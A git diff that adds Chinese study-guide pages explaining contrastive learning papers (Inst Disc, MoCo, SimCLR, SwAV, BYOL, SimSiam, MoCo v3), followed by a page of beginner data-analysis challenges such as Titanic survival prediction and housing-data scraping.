多视角判别任务 | 无 | +| MoCo | 使用队列储存字典,提出动量编码器,提出 infoNCEloss | 判别式网络 | 个体判别任务 | Inst Disc | +| SimCLR | 提出 projection head,提出把一张图片做不同的数据增强进行对比,并且分析了各种数据增强的贡献 | 判别式网络 | 个体判别任务 | Inst Disc | +| SwAV | 使用聚类中心矩阵,提出新的聚类任务 | 聚类式网络(或许也算判别式) | 聚类 | SimCLR | +| BYOL | 提出无负样本学习,提出预测头 predictor | 判别式网络 | 或许算预测?
但也有个体判别的感觉 | SimCLR | +| SimSiam | 在 BYOL 基础上做了改进,总结了前面的工作,提出了对称式的孪生网络 | 判别式网络 | 同上 | BYOL | +| MoCo v3 | 缝合了 MoCo 和 SimSiam,引入了 VIT,提出小 trick 解决训练不稳定 | 判别式网络 | 同上 | MoCo | + +# 要点提问 + +1.什么是 memory bank? + +2.个体判别任务的局限 + +3.什么是 NCEloss,infoNCEloss 呢? + +4.能画出每个网络的结构图吗? + +5.能列出提到过的所有小 trick 吗? diff --git a/4.人工智能/4.6.8.1前言.md b/4.人工智能/4.6.8.1前言.md new file mode 100644 index 0000000..4e943a2 --- /dev/null +++ b/4.人工智能/4.6.8.1前言.md @@ -0,0 +1,39 @@ +# 前言 + +> 作者:康可均 + +对比学习是近来比较热门的一个方向,它属于无监督学习的一种,在阅读本文前,请确保已经掌握 cv 和 nlp 的基础知识并且了解 transformer。本文致力于把论文本身讲的故事通俗的概括出来,以便大家理解发展路程。 + +``` + 打个比方,一个梨很甜,用数学的语言可以表述为糖分含量90%,但只有亲自咬一口,你才能真正感觉到这个梨有多甜,也才能真正理解数学上的90%的糖分究竟是怎么样的。如果对比学习是个梨,本文的目的就是带领大家咬一口。 +``` + +这类方法训练需要消耗巨大的算力(微调改进那种另说),我也没有能力去训练这类模型(好贵! + +# 何为对比 + +对比学习,故名思意,是对比着来学习。而我们拿来对比的东西就是在模型眼里的语义,也就是我们叫做特征的向量。 + +在具体讲对比之前,我们先看看传统的监督学习是怎么学特征的: + +数据 + 模型=> 特征,特征对人工标注进行学习,也就是说我们要把模型抽取的特征尽可能的靠近人工标注 + +而在无监督学习中,我们不希望有人工标注的出现,那么一种方法就是让同类的特征进可能相近,也就是我们说的聚类。 + +直观来讲,我们把特征的向量进行一下归一化,它们就分布在一个超球面上。简单起见,我们先看 3 维向量 + +![](static/boxcnJ6HpIJqxJuxiz7Cw5GopSh.png) + +我们通过正样本(跟拿到的特征应当相近的另一个特征)与负样本(反之)的对比,使得 + +越相近的物体,它们的特征就在超球面上越靠近,越不像的物体离的越远,去学习图片更本质的特征 + +那么具体的对比学习方法我在后面结合一些论文一起讲吧~ + +这部分内容更像一个综述,讲述对比学习这几年的发展路程,所以我会尽可能的描述作者在论文里讲的故事,来方便大家弄清为什么要这么做。 + +可能会有很多我的主观理解在此,并且不会深入细节。可以算是一个总结和分享,我会在这里带着读者过一遍近期对比学习的工作来给大家一个对比学习方向的直观感性理解。 + +同时因为笔者水平,视野,精力有限,不可能包含所有的算法,也不可能保证完全正确。因此仅作为笔记分享使用。若有错误,请多多指正。 + +> 若对文章内容有任何疑惑或者批评指正,可以通过猫猫群联系我,
如果你不在猫猫群,可以通过 QQ 联系:1397475657 diff --git a/4.人工智能/4.6.8.2Inst Disc.md b/4.人工智能/4.6.8.2Inst Disc.md new file mode 100644 index 0000000..a10b25b --- /dev/null +++ b/4.人工智能/4.6.8.2Inst Disc.md @@ -0,0 +1,63 @@ +# Inst Disc + +这篇论文是对比学习的一篇开山之作,后续很多论文都参考了它的方法,这里不止讲了论文本身,还有一些扩展补充 + +## 提出的背景 + +作者团队发现,当把一张豹子的图片喂给以前的有监督训练的模型。得分最高的都是跟豹子很像的动物,比如雪豹,猎豹,而分数最低的几个都是跟豹子一点都不像的东西比如救生艇,书架。 + +作者团队认为,让这些猎豹,雪豹的标签相互接近(指互相在判别时都排名靠前)的原因并不是它们有相似的标签,而是它们有相似的图像特征。 + +![](static/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png) + +## 个体判别任务 + +既然有了上面这个发现,那么作者想我能不能把分类任务推到极致呢? + +于是他们把每一个图片当作一个类别,去跟其他的图片做对比,具体模型如下 + +![](static/boxcnPNukes2FlNwUFSKiqIJEbd.png) + +先介绍一下模型结构: + +1.CNN 用的是经典的 RES50,没什么特殊。 + +2.后面接了一个 Non-param Softmax(非参数 softmax),其实就是一个不被训练的,把所有特征投射到超球面上的一个分类头(把所有特征模长变为 1)。 + +3.后面的Memory Bank是这篇文章的重点,它是一个动态字典。我们把每一个图片抽取出来的特征存入 memory bank,每次计算时抽取其中部分作为一个 batch 进行对比学习,把更新后的模型得到的特征替换 memory bank 里原先的特征。 + +4.具体损失函数用的是一个叫 NCEloss 的损失,它把多分类问题分为若干个二分类问题不是,每个 batch 中只有一个的 ground truth 是’yes‘,其余都是’no‘ + +在训练的时候,相当于是有一组以前的编码器抽取的特征 A,B,C,D...,一组当前编码器抽取的特征 a,b,c,d...,对它们进行对比学习。对 a 来说,A 是正样本,其他都是负样本,同理类推。 + +## 一些小 trick 和小细节 + +上面这些就是这篇文章的主体,后面是一些对后续工作有贡献的小 trick 和细节: + +### 动量更新 + +用动量更新的方法去更新 memory bank 中的特征 + +也就是让特征的变化不那么剧烈 + +原因:如果一直保持更新,特征总体的变化就会比较大,而我们在大数据集上训练的时候,等第二次调用一个特征时,它跟现在的特征分布已经大相径庭,那就不好训练了,也就是特征缺乏一致性。因此我们引入动量更新来确保特征进行平稳的改变,而非突变。 + +#### 关于动量的小拓展 + +大家在使用诸如 SGD,Adam 等优化器的时候一定见过动量这个概念了,这里给不了解这个概念的读者简单讲解一下动量这个概念: + +A 是起始点,B 是第一次更新后的点,C 是第二次更新后的点 + +![](static/boxcn5zfD155Joy1eD5CvbZXZnc.png) + +而在我们刚刚提到的动量更新里,它的公式可以概括为: + +![](static/boxcnTLEK31rFmuRo2MOWGRBoYe.png) + +m 表示动量,k 是新的特征,q 是上一个特征,只要设置小的动量就可以使改变放缓。 + +# 总结 + +总体来说,Inst Disc 把对比学习成功引入了 CV 领域,核心思想是构建动态字典进行对比学习 + +PS:若无特殊说明,最后保留下来去做下游任务的模型只有编码器,其他都删除了。 diff --git a/4.人工智能/4.6.8.3定义正负样本的方式.md b/4.人工智能/4.6.8.3定义正负样本的方式.md new file mode 100644 index 0000000..f78330e --- /dev/null +++ b/4.人工智能/4.6.8.3定义正负样本的方式.md @@ -0,0 +1,27 @@ +# 定义正负样本的方式 + +因为涉及多篇论文,就不具体一个个讲了,在这里总结一下一些定义正负样本的方式,这两种方式虽然本身并不突出,但是都对后续一些重要工作有一些铺垫作用。 + +# 1.时序性定义(生成式模型) + +![](static/boxcnC10uzdj0G0BJPlUZKFIi7C.png) + +这是处理音频的一个例子,给模型 t 时刻以前的信息,让它抽取特征并对后文进行预测,真正的后文作为正样本,负样本当然是随便选取就好啦。 + +不同于之前说的个体判别,这个是生成式模型,这个模型不止可以处理音频,还可以处理图片(每一个块换成一个词)或者处理图片(以 patch 为单位)。 + +是不是有点眼熟?这跟我前面写的 BERT 和 MAE 其实异曲同工,不过这两位是随机 mask,而非时序性的 mask。 + +# 2.以物体不同角度或者感官作为正样本 + +一只狗可以被我们用不同感官所感受到,比如看见狗,听见狗叫声,摸到狗,得到文字描述等等。如果我们能统一这些模态的信息,这未尝不是一种特征提取。 + +这里就用了几个不同感官下的数据进行训练,不过可能是找配对的音频比较困难,作者用的是 + +原始图片,深度图,swav ace normal,分割图片这四个视角作为正样本,其他不相关图片作为负样本。 + +这种多视角的特征提取也引出了后面 CLIP 这篇论文,它做到了文本和图像特征的统一,我们后续再讲 + +(这篇论文我准备开个新坑放着了,因为说实话不算对比学习,算多模态) + +![](static/boxcnssaOVvp73SVIrzVvZPr1Je.png) diff --git a/4.人工智能/4.6.8.4MoCo.md b/4.人工智能/4.6.8.4MoCo.md new file mode 100644 index 0000000..0c8aead --- /dev/null +++ b/4.人工智能/4.6.8.4MoCo.md @@ -0,0 +1,75 @@ +# MoCo + +# 提出背景 + +MoCo 是 Inst Disc 的改进工作,那我们自然要先看一下 Inst Disc 有什么不足 + +## 1.Memory Bank 过大,不能应用在更大的数据集上 + +因为其字典的数据类型,导致计算开销会加大 + +## 2.动量更新并不能完全解决特征一致性差的问题 + +即使使用了动量更新的方式,同一个特征前后被调用的跨度也还是很长,一致性依旧不够 + +## 3.NCEloss 负样本分类不合理的问题 + +NCE 把所有负样本都视作一样的,但实际上负样本并不能被完全归为一类 + +举个例子:我现在的正样本是猫猫,然后有两个负样本是狗勾汽车,那猫猫肯定跟狗勾更相近,跟汽车更不相似,也就是说的得分虽然低于,但是一定要高于汽车而不是像 NCE 那样把狗和车打成一类,这样不利于模型学习。 + +并且它也不是很灵活,下文细讲 + +### 虽然大家应该都懂了(应该吧?),但还是贴一下模型总览图。 + +右边就是 memory bank 啦 + +![](static/boxcnKMjslIshEA5SFqc8rbmqoe.png) + +# MoCo 做出的改进 + +## 1.针对 Memory Bank 过大 + +作者使用队列的数据结构去储存这个大字典,因为是先进先出,所以好处是新进来的特征可以把最老的特征替换掉。每次不用把整个字典全部载入,而是用队列形式即可。很简单地解决了这个问题。 + +## 2.针对动量更新不能完全解决特征一致性差的问题 + +作者提出了一个新的动量编码器来替代动量更新。 + +动量编码器是独立于原编码器的一个编码器,它的参数是根据原编码器动量更新的,k 和 q 就是指代全部参数了 + +![](static/boxcnFLSP9PtQRkgYgcMwM4idog.png) + +这样的话就是解码器在缓慢更新,比对特征使用动量更新要更有连续性。 + +## 3.负样本分类不合理的问题通过替换 infoNCEloss 解决 + +下面是 infoNCE loss 的公式,它是 NCE 和交叉熵损失的结合体,长得就很像交叉熵,只是多了个 T。 + +[(什么?你看到这了还不会交叉熵?戳这里)](https://zhuanlan.zhihu.com/p/149186719) + +![](static/boxcnnWI38bkSzeCe5TtVTBCrNh.png) + +q·k 其实就是各个特征(因为那时候用的都是 transformer 了,这里就是 trnasformer 里的 k 和 q) + +这里分母级数上的k 是代表负样本的个数,也就是 k=batchsize-1(总样本-正样本)。其实就是对一个 batch 做 k+1 分类,并且引入了一个超参数 T。它的名字叫做温度参数,控制的是 softmax 后得分分布的平滑程度(直观理解,不是很严谨) + +T 越大,损失函数就越对所有负样本一视同仁,退化为二分类的 NCEloss;T 越小,损失函数就越关注一些难分类的特征,但有时候会出现两张其实都是猫猫的图片,你硬要让模型说猫猫跟猫猫不一样,这也不太好,这个参数要根据数据集情况适中调整。 + +![](static/boxcnhuabU9XzXmVQfu0ruENs83.png) + +![](static/boxcnsGpqCNePn2G34GnJqPieBf.png) + +上面那张是 T 较大的情况,下面是 T 较小的情况(x 轴是各个类别,y 轴是分类得分) + +所谓的灵活性就是指:infoNCE loss 引入了温度参数,这个参数可以帮我们调整训练的难度,T 越大,模型越关注类似的特征,训练也就越难,总之就是非常灵活。 + +# 总结 + +总而言之,MoCo 就是基于 Inst Disc 主要做了如上三点改进,模型和参数都是完全不变的。它的核心在于动量编码器和活动大字典。 + +能在 imagenet 上达到媲美甚至超越有监督学习的模型的结果,并且可以作为 backbone 很好的拓展应用到多个下游任务上。 + +# 另外 + +其实 MoCo 有两篇后续工作,MoCo v2 和 MoCo v3,v2 其实就是缝合了后面讲的 SimCLR 的方法,不展开了,V3 留到以后讲。 diff --git a/4.人工智能/4.6.8.5SimCLR.md b/4.人工智能/4.6.8.5SimCLR.md new file mode 100644 index 0000000..c83f063 --- /dev/null +++ b/4.人工智能/4.6.8.5SimCLR.md @@ -0,0 +1,29 @@ +# SimCLR + +顾名思义,以‘SIMPLE’为主,这个模型主打的就是简单。 + +# 模型结构 + +x 是输入的图片,它经过两种不同的数据增强得到 xi 和 xj 两个正样本,而同一个 mini-batch 里的所有其他样本都作为负样本。说白了还是个体判别任务 + +![](static/boxcnq5TYzSltn6CsPM3Bn3xxAb.png) + +左右的f 都是编码器,并且是完全一致共享权重的,可以说是同一个。 + +而 g 是一层 mlp 结构,只在训练中使用,应用到下游任务时用的仅仅是 f(与前面几篇一样都是 RES50),很神奇的是,就仅仅多了这么一层 mlp,它在 imagenet 上的正确率直接加了十个点。 + +关于这点也很奇怪,作者做了很多实验但是也没有很合理的解释。 + +最后的对比学习是对 zi 和 zj 做的。 + +下面这个是更加具体的流程图 + +![](static/boxcnj3FZsRiJbWsKW07b9B8Fkb.png) + +# 总结 + +因为这个真的很简单,没有太多可讲的,它就是单纯的简单且效果拔群,想具体了解数据增强相关或者具体效果对比的可以去看一下[原论文](https://arxiv.org/pdf/2002.05709v3)。 + +# 另外 + +SimCLR 也有 v2,缝合了 MoCo 的方法,同样不展开了。 diff --git a/4.人工智能/4.6.8.6SwAV.md b/4.人工智能/4.6.8.6SwAV.md new file mode 100644 index 0000000..dfe140c --- /dev/null +++ b/4.人工智能/4.6.8.6SwAV.md @@ -0,0 +1,71 @@ +# SwAV + +# 前言 + +与前面的一些工作不同,SwAV不再进行个体判别任务,而是提出了新的任务————聚类 + +并在训练的模型结构上也做了相应改动,而非只调整训练方法。 + +这里因为涉及到了聚类,具体数学推导难度较大,有兴趣可以跟着我后面贴的视频走一遍 + +# 提出的背景 + +## 个体判别任务的局限性 + +1.进行个体判别任务时,我们有可能选到与正样本属于一个类的特征作为负样本,比如两张不同狗的图片等等,这会影响学习的效率。 + +2.个体判别任务把类别分的过细,不能很好地抽取特征,过多的类也增大了计算压力和字典储存压力。作者认为这过于原始和暴力。 + +# 模型结构 + +下图左边是常规的对比学习(比如 SimCLR)的结构,右图是 SWAV 的结构,不难看出多了一个叫 prototypes 的东西。这个东西其实是聚类中心向量所构成的矩阵。 + +![](static/boxcnGteJZelEtVqBFwwukw7c8g.png) + +下面的内容可能有些理解上的难度(反正我第一次听讲解的时候就云里雾里的),我会尽可能直白地描述这个过程。 + +## 聚类中心? + +首先我们有个新的东西prototypes,它是聚类中心的集合,也就是许多作为聚类中心的向量构成的矩阵。 + +这些聚类中心是我设定在超球面上的,离散的一些点,我希望让不同的特征向它们靠拢以进行区分(也就是所谓聚类)。 + +更直白地讲,我在地上撒了一把面包屑,地上本来散乱的蚂蚁会向面包屑聚集,形成一个个小团体。蚂蚁就是不同图像的特征,面包屑就是我设定的聚类中心 + +## 聚类中心我知道了,然后呢? + +先说我拿他干了什么,再一步步讲为什么要这么做吧。 + +首先我们手里有抽取出来的特征z1z2,以及一个我随机初始化的聚类中心矩阵 c。我分别求这个矩阵z1z2的内积,并进行一些变换得到 Q1,Q2。当 z1,z2 都是正样本时,我希望Q1 与 z2 相近Q2 与 z1 相近。如果有一个是负样本则尽可能远离。也就是拿 Q 当 ground-truth 做训练。最后这步前面已经讲过 NCEloss 等损失函数了,用它们就可以达成这个任务。 + +而我们的优化要采用 [K-means](https://zhuanlan.zhihu.com/p/78798251)(不懂可以看这里)的类似做法,先对聚类中心进行优化,再对特征进行优化。 + +![](static/boxcnKe4DzDfdNbhhHowdE4BJEf.png) + +so,why?相信你现在肯定是一脸懵,不过别急,希望我能为你讲懂。 + +## 首先是第一步,为什么要求内积? + +如果你有好好了解线性代数的几何性质,应当了解两个向量的内积就是一个向量在另一个向量上的投影,而一个向量与一个矩阵的内积,就是把这个向量投影到这个矩阵代表的基空间中。 + +我做的第一步就是把抽出来的特征 z 用聚类中心的向量表示,这样更加方便对比聚类成功与否。 + +## 然后是第二步,我说的变换是什么呢? + +我们现在求内积是为了把特征投影到聚类中心空间,为了避免模型训练坍塌(就是网络把特征全部聚到同一个点,开摆~)我要保证每个聚类中心被"使用"的次数,所以我们请出了Sinkhorn-Knopp 算法。这个算法比较硬核,我在这里不展开了,大家知道它是干啥的就行,具体的推导可以看我后面贴的视频,那里面有讲。 + +## 第三步应该不用怎么讲了吧? + +就是普通的对比学习,也没啥特殊的了。正样本是自身通过数据增强和上面两步处理得到的特征,负样本则是同一 batch 中的其他特征。 + +# 数据增强的小 trick:multi-crop + +其实就是一个工程经验,一般我们数据增强是取 2 个 224*224 的块,这里换成了面积基本不变的 2 大 2 小的 4 个块,事实证明效果不错。想了解这个的话可以看看原论文的实验 + +# 总结 + +主要贡献是上面我说的三步聚类算法以及后面的小 trick,Sinkhorn-Knopp 算法难度较高,大家有兴趣的话自行观看后面这个视频理解哈~ + +# 相关资料 + +【[论文简析]SwAV: Swapping Assignments between multiple Views[2006.09882]】 diff --git a/4.人工智能/4.6.8.7BYOL.md b/4.人工智能/4.6.8.7BYOL.md new file mode 100644 index 0000000..89d2bb2 --- /dev/null +++ b/4.人工智能/4.6.8.7BYOL.md @@ -0,0 +1,71 @@ +# BYOL + +# 前言 + +这篇论文的主要特点是它的训练不需要负样本,并且能保证模型不坍塌。 + +当一个普通的对比学习模型没有负样本时,它的损失函数就只有正样本之间的差距,这样模型只会学到一个捷径解————你给我什么输入我都输出同一个值,这样 loss 就永远=0 了(开摆) + +而BYOL就解决了这一问题,使得训练不再需要负样本。 + +# 模型结构 + +前半部分很普通,跟 SimCLR 是基本一致的,一个图片经过两种不同的数据增强,进入两个编码器,得到两个不同的特征。 + +值得一提的是,这里下面的这个粉色的编码器用的是动量编码器的更新方式。也就是说它是紫色那个编码器的动量编码器。 + +而提取特征之后,经过两个 `SimCLR` 中提出的额外的 mlp 层 z,在此之后,它们给紫色的那支加了一个新的模块,predictor。 + +predictor的模型结构就是跟 z 一样的mlp 层。它的任务是通过紫色的特征去预测粉色的特征。也就是说它的代理任务换成了生成式。 + +![](static/boxcne7eizRhw5GKRSpF40KcMEh.png) + +而具体的损失只有预测特征和真实特征的损失,用的是MSEloss。 + +下面的粉色分支最后一步是不进行梯度回传的。它的更新完全依赖紫色的那个编码器。 + +# 所以为什么不用负样本能左脚踩右脚螺旋升天呢? + +在原文中,作者也没有说出个所以然来,不过后面有篇博客发现了问题所在。 + +其实这是 BN 的锅,蓝色的那个是一般的对比学习使用的,而紫色的是 BYOL 使用的。很明显发现它多了一个 BN。 + +### 有篇博客在复现 BYOL 时,不小心没加这个 BN 层,导致模型直接摆烂。那么 BN 到底藏着什么呢? + +![](static/boxcn8wfpZCjOD2lFsM03N5vatl.png) + +我们得先来回顾一下 BN 做了什么。 + +BN 根据批次的均值和方差进行归一化 + +训练时,均值、方差分别是该批次内数据相应维度的均值与方差; + +推理时,均值、方差是基于所有批次的期望计算所得。 + +因此,博客作者认为,虽然我们只用了正样本进行训练,但是这个正样本包含了本批次所有样本的信息(均值,方差),所以实际上并不是真正的无负样本。 + +而这个 batch 的均值,即平均图片,可以看作 `SawAV` 里的聚类中心,是所有历史样本的聚类中心。(很玄学) + +### 作者看到这个博客就急了 + +如果真是这样的话,BYOL 就还是没有逃脱出对比学习的范畴,它还是找了一个东西去做对比,其创新性就大大降低了。所以作者赶紧做实验,看看能不能找到 BYOL 模型不坍塌的另外一种解释。最终又写了一篇论文进行回应。 + +  这篇论文叫 BYOL works even without batch statistics,即在没有 BN 的时候 BYOL 照样能工作,详细的消融实验结果如下表所示 : + +![](static/boxcncmJWb99mlUUIFTPjGoCqYb.png) + +BN 非常关键:只要是 `projector`(SimCLR 提出的 mlp)中没有 BN 的地方,SimCLR 性稍微下降;但是 BYOL 全都模型坍塌了。 + +有 BN 也会坍塌:作者找到了特例(红色框),即使当 `projector` 有 BN 的时候,BYOL 还是训练失败了 。如果 BN 真的很关键,它真的提供了隐式负样本的对比学习的话,训练就不应该失败 + +完全没有 BN,SimCLR 也坍塌(最后三列的结果。要注意 SimCLR 只有一层 projector)。这表明完全不用归一化,SimCLR 这种使用负样本进行对比学习的方式也无法训练。 + +  最终结论:BN 跟它原来的设计初衷一样,主要作用就是提高模型训练时的稳定性,从而不会导致模型坍塌 。作者进一步延伸,如果一开始就能让模型初始化的比较好,后面的训练即使离开了 BN 也没有问题。 + +作者为此又设计了一个实验,使用 `group norm`+`weight standardization` (前者也是一种归一化方式,后者是一种卷积权重标准化方式,但都没有对 batch 中的数据进行融合),BYOL 的 top-准确率可以达到 74.1%,和原来精度可以认为是一样了(74.3%)。 + +至今其实这个问题也没有一个很合理能服众的解释。 + +# 总结 + +主要的贡献在于无需负样本的学习。但是没有合理的解释。 diff --git a/4.人工智能/4.6.8.8SimSiam.md b/4.人工智能/4.6.8.8SimSiam.md new file mode 100644 index 0000000..f0467f9 --- /dev/null +++ b/4.人工智能/4.6.8.8SimSiam.md @@ -0,0 +1,59 @@ +# SimSiam + +# 前言 + +## 提出背景 + +BYOL 之后,大家都发现对比学习是靠许许多多的小 trick 和技术堆叠起来的,每个技术都有贡献,但是不算很多,前沿的网络往往采用了众多的技术得到很好的效果。 + +这时候,作者团队希望能够化繁为简,探索一下哪些真正有用,哪些贡献不大。 + +## 于是就有了 SimSiam + +是对前面几乎所有工作的总结,它提出了一个非常简单的网络,但是达到了很高的性能,并在其上追加了前面工作的一些细节,来展示每个小技术的真正贡献如何。 + +它不需要动量编码器,不需要负样本,不需要 memory bank,就是非常简单。 + +# 模型结构 + +模型的结构是一个 `“孪生网络”`,其实于 BYOL 的结构很像,不过没有用动量编码器,左右两个编码器都是一样的,因此叫 `孪生网络`。 + +虽然看起来只有左边预测右边,其实右边也有一个 predictor 去预测左边的特征,两边是对称的,左右的优化有先后顺序。 + +![](static/boxcnWk5QzvbsSNlyV4B7SMt5zb.png) + +结构其实没什么特殊的地方,主要讲讲思想。 + +# SimSiam 主要回答的是两个问题 + +# 1.为什么不用负样本模型不会坍塌? + +原论文中提出的解释并不是最完美的。而且这个问题的解释涉及了动力学等知识,我也没有足够的知识储备去讲解这个问题,这里只能讲一些与解答相关的信息,如果有兴趣可以看下面链接中的解释: + +这里要涉及到一个机器学习的经典算法,EM 算法,它也是k-means的核心思想之一。 + +因为本文的主旨原因,我不会在这里细讲这个算法,但是大家了解这是个什么东西即可。 + +EM 算法用于优化带有未知参数的模型,`k-means` 的聚类中心就可以看作一个未知参数,我们要同时优化模型本体和聚类中心。所以我们先对其中一个目标 A 做随机初始化,然后先优化另一个目标 B,再反过来用另一个目标 B 优化后的结果优化被随机初始化的目标 A,这就是一次迭代,只要不断循环这个迭代,EM 算法往往能找到最优解。 + +这里可以把经过 predictor 预测头的特征作为 `k-means` 里的特征,而另一个作为目标的特征作为聚类中心,经过预测头的特征直接反向传播进行优化,作为目标的特征则是通过上面说的对称的操作经过预测头进行优化。 + +最最直白地解读结论的话,可以说是,这种先后优化的 EM 算法,使得模型“来不及“去把权重全部更新为 0。(模型坍塌)具体的推导需要动力学的知识,这里不做展开。 + +# 2.对前人工作的总结 + +这是作者总结的所有”孪生网络“的模型结构,很精炼。 + +![](static/boxcn8OWwnN8ae2vUVttqlu5O8e.png) + +下面是这些网络训练结果的对比,也列出了它们分别有哪些 trick(用的是分类任务) + +``` + 负样本 动量编码器 训练轮数 +``` + +![](static/boxcn3uizAKNhAxQryOwvHxFSDb.png) + +具体结果还是图片比较直观( + +![](static/boxcnqdfrOIxim4wBayDDBitHCd.png) diff --git a/4.人工智能/4.6.8.9MoCo v3.md b/4.人工智能/4.6.8.9MoCo v3.md new file mode 100644 index 0000000..a0309cd --- /dev/null +++ b/4.人工智能/4.6.8.9MoCo v3.md @@ -0,0 +1,29 @@ +# MoCo v3 + +# 前言 + +在 VIT 出来之后,大家也都想着把对比学习的 backbone 换成 VIT。于是新的缝合怪自然而然地诞生了 + +MoCo v3,它缝合了 MoCo 和 SimSiam,以及新的骨干网络 VIT。 + +# 模型架构 + +可能因为和前面的工作太像了,作者就没有给模型总览图,我们借 MoCo 的总览图来讲 + +![](static/boxcnhxg4HZw2NExIbYZxQGISze.png) + +总体架构其实没有太多变化,还是 memory bank 的结构,右边也还是动量编码器,不过加入了 SimCLR 提出的 projection head(就是额外的那层 mlp),并且在对比上用了 SimSiam 的预测头对称学习方式。具体也不展开了,都是老东西缝合在一起。 + +# 讲这篇文章主要是冲着 VIT 来的 + +作者在用 VIT 做骨干网络训练的时候,发现如下问题: + +![](static/boxcnMMhbVk6wc81H8BSoack7Mg.png) + +在使用 VIT 训练的时候,batchsize 不算太大时训练很平滑,但是一旦 batchsize 变大,训练的图像就会出现如上图这样的波动。于是作者去查看了每一层的梯度,发现问题出在VIT 的第一层线性变换上。也就是下图中的粉色那个层,把图片打成 patch 后展平做的线性变换。 + +![](static/boxcniBkiypcv6IQbxr9D6JukOb.png) + +在这一层中,梯度会出现波峰,而正确率则会突然下跌。 + +作者就想,既然你训练不好,我就把你冻住,不让它训练,然后就能成功运用了。而且这个 trick 对几乎所有的对比学习模型都有效果。 diff --git a/4.人工智能/4.6.8对比学习.md b/4.人工智能/4.6.8对比学习.md new file mode 100644 index 0000000..992550a --- /dev/null +++ b/4.人工智能/4.6.8对比学习.md @@ -0,0 +1,7 @@ +# 对比学习 + +这里不再区分 nlp 和 cv,因为对比学习有些时候跟多模态挂钩,两个领域都有涉及,读者均需一定的了解。 + +这里因为笔者知识储备的原因,主要讲的是 CV 方面的对比学习。 + +还会涉及一些传统机器学习的算法,读者需一定的理论基础或者边看边学。 diff --git a/4.人工智能/4.6深度学习.md b/4.人工智能/4.6深度学习.md new file mode 100644 index 0000000..4d29fa9 --- /dev/null +++ b/4.人工智能/4.6深度学习.md @@ -0,0 +1,7 @@ +# 深度学习 + +目前 AI 领域基本百分之九十以上的研究方向。 + +有时候我们也将深度学习比喻为炼丹,而[习此法可得天机](https://zhuanlan.zhihu.com/p/23781756) + +并且我们也推荐您阅览以下的相关内容 diff --git a/4.人工智能/4.7数据分析.md b/4.人工智能/4.7数据分析.md new file mode 100644 index 0000000..a6c709a --- /dev/null +++ b/4.人工智能/4.7数据分析.md @@ -0,0 +1,94 @@ +# 数据分析 + +# 目标 + +数据分析是独立于开发和算法岗的另一个方向,它主要是通过应用机器学习和深度学习的已有算法来分析现实问题的一个方向 + +我们常说:数据是客观的,但是解读数据的人是主观的。 + +数据这门科学就像中西医混合的一门医学,既要有西医的理论、分析模型以及实验,又需要有中医的望闻问切这些个人经验。 + +因此你在进行这一项任务的时候,除了希望你可以去学会用 python 进行数据分析外,也希望你可以尝试用数据的维度去解释周围的事情,并且用数据的眼光看代变化发展的世界。 + +> 这世界缺的真不是算法和技术,而是能用算法、技术解决实际问题的人 + +# 你可以完全使用数据分析的方法来进行分析,也可以使用机器学习的方法进行进一步推理!!!希望你使用 jupyter notebook 进行分析,清晰明了! + +# 什么是数据科学 + +数据科学是当今计算机和互联网领域最热门的话题之一。直到今天,人们已经从应用程序和系统中收集数据,现在是分析它们的时候了。接下来的步骤是从数据中产生建议并创建对未来的预测。[在这里](https://www.quora.com/Data-Science/What-is-data-science),您可以找到有关数据科学的最大问题以及专家的数百个答案。 + +# 用于数据分析的库。 + +当然,你肯定用不了这么多,你可以自行选择你喜欢或者你想用的。 + +- [AWS Data Wrangler](https://github.com/awslabs/aws-data-wrangler) - AWS 上的 Pandas。 +- [Blaze](https://github.com/blaze/blaze) - NumPy 和 Pandas 与大数据的接口。 +- [Open Mining](https://github.com/mining/mining) - Pandas 界面中的商业智能 (BI)。 +- [Optimus](https://github.com/ironmussa/Optimus) - 使用 PySpark 轻松实现敏捷数据科学工作流程。 +- [Orange](https://orange.biolab.si/) - 通过可视化编程或脚本进行数据挖掘、数据可视化、分析和机器学习。 +- [Pandas](http://pandas.pydata.org/) - 一个提供高性能、易于使用的数据结构和数据分析工具的库。 + +同时给你一个 pandas 教程 [https://www.kaggle.com/learn/pandas](https://www.kaggle.com/learn/pandas) + +# 挑战 1:泰坦尼克号数据分析 + +![](static/boxcn69l1e6U0JF8SqdIuKOHtJb.jpeg) + +![](static/boxcnGLb9WIwyio3SOzP3nnZ1je.jpeg) + +![](static/boxcnh9SUOsY17OVJY6D7jLtVAc.jpeg) + +泰坦尼克号的沉没是历史上最臭名昭著的沉船事件之一。 + +1912 年 4 月 15 日,在她的处女航中,被广泛认为“永不沉没”的泰坦尼克号在与冰山相撞后沉没。 + +不幸的是,船上没有足够的救生艇,导致 2224 名乘客和船员中有 1502 人死亡。 + +虽然生存中涉及到一些运气因素,但似乎有些人比其他人更有可能生存。 + +在这个挑战中,我们要求您建立一个预测模型来回答以下问题:“什么样的人更有可能生存?” 使用乘客数据(即姓名、年龄、性别、社会经济阶层等)。 + +比较幸运的是,本挑战的数据集不需要你自行爬取,你完全可以在互联网上找到非常多的数据集。 + +同时,你使用的数据越多,你的分析就越准确。 + +# 挑战 2:豆瓣电影数据分析 + +![](static/boxcn0Dwy6nWNi6xmdyQIIIt5if.jpeg) + +豆瓣电影是非常好爬的网站,甚至 B 站某爬虫教程都以豆瓣电影来进行教学,你可以自行爬取豆瓣上的数据并进行相应的分析。 + +包括但不限于电影的分数,出版人,地理位置,你可以使用各种图进行分析。 + +当然,你可以自己爬,也可以在网上找数据集,但是核心要点在于,你用了数据分析的方法得到了一些结论! + +# 挑战 3 二手房数据分析 + +![](static/boxcnFmfFktx0x2DpQ4WtyMEE3g.jpeg) + +本课题拟收集整理城市近几年的二手房交易数据,挖掘数据信息并进行可视化分析与展示,从而帮助用户了解城市二手房的交易情况,为用户进一步决策提供帮助。 + +建议内容: + +- 查询条件设置:通过输入查询二手房的城市、区域、总价等信息确定对应的网址。 +- 数据爬取和保存:爬取满足查询条件的房屋的各类信息,将其中的房屋相关图片保存到单独的文件夹。将其它信息保存成为区域 + 查询条件 + 房源信息表文件,文件中列字段名称包含:地址、户型、面积 m2、单价、总价-万元、关注度、发布时间、链接,其中面积、单价、总价以及关注度都保存为数值型数据。 +- 数据分析与可视化:分析单价与关注度、总价与关注度之间的关系,通过图表进行可视化实现,给出关注度最高的单价与房屋总价情况。 +- 扩展内容:根据用户需求推荐二手房源,为用户进一步决策提供帮助。 +- 可视化 web 端开发 + +# 提示 + +#### 你可能需要学习一些概率论的知识并进行相关思考 + +例如 + +数学期望 + +置信区间 + +散点图 + 